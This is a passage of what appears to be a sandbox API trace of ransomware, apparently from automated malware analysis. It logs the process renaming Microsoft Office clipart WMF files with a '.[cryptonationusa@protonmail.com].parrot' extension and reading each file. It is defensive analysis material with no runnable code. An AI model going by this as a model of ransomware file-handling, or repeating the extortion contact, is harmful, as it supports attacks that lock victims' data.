Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.707] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.707] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.708] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a00, lpOverlapped=0x0) returned 1 [0136.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.710] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.710] CloseHandle (hObject=0x288) returned 1 [0136.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.713] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6224, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.713] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.715] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x610c, lpOverlapped=0x0) returned 1 [0136.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.716] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6224, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.716] CloseHandle (hObject=0x288) returned 1 [0136.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.719] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x384c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.720] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.721] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3734, lpOverlapped=0x0) returned 1 [0136.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.723] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x384c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.723] CloseHandle (hObject=0x288) returned 1 [0136.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.726] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4184, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.726] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.768] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.768] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x406c, lpOverlapped=0x0) returned 1 [0136.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.770] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4184, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.770] CloseHandle (hObject=0x288) returned 1 [0136.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.774] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d64, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.774] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.776] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c4c, lpOverlapped=0x0) returned 1 [0136.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.778] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.778] CloseHandle (hObject=0x288) returned 1 [0136.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.781] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4148, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.781] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.782] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.782] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4030, lpOverlapped=0x0) returned 1 [0136.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.784] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4148, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.784] CloseHandle (hObject=0x288) returned 1 [0136.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.787] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.787] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.789] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3eb4, lpOverlapped=0x0) returned 1 [0136.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.790] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.790] CloseHandle (hObject=0x288) returned 1 [0136.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.793] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b98, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.793] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.793] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.795] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a80, lpOverlapped=0x0) returned 1 [0136.796] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.796] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.796] CloseHandle (hObject=0x288) returned 1 [0136.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.800] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf88, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.800] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.800] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.801] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe70, lpOverlapped=0x0) returned 1 [0136.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.802] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.802] CloseHandle (hObject=0x288) returned 1 [0136.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.806] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe40, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.806] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.862] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.862] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd28, lpOverlapped=0x0) returned 1 [0136.863] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.863] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.863] CloseHandle (hObject=0x288) returned 1 [0136.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.867] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.867] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.867] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.869] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.869] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0136.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.870] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.870] CloseHandle (hObject=0x288) returned 1 [0136.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.873] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.873] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.874] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.902] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.902] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18c4, lpOverlapped=0x0) returned 1 [0136.904] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.905] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.906] CloseHandle (hObject=0x288) returned 1 [0136.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.911] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2740, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.911] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.911] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.913] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.913] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2628, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2628, lpOverlapped=0x0) returned 1 [0136.914] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.914] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2740, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.914] CloseHandle (hObject=0x288) returned 1 [0136.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.917] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x199c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.917] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.917] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.943] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1884, lpOverlapped=0x0) returned 1 [0136.944] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.945] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x199c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.945] CloseHandle (hObject=0x288) returned 1 [0136.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.949] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4210, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.949] 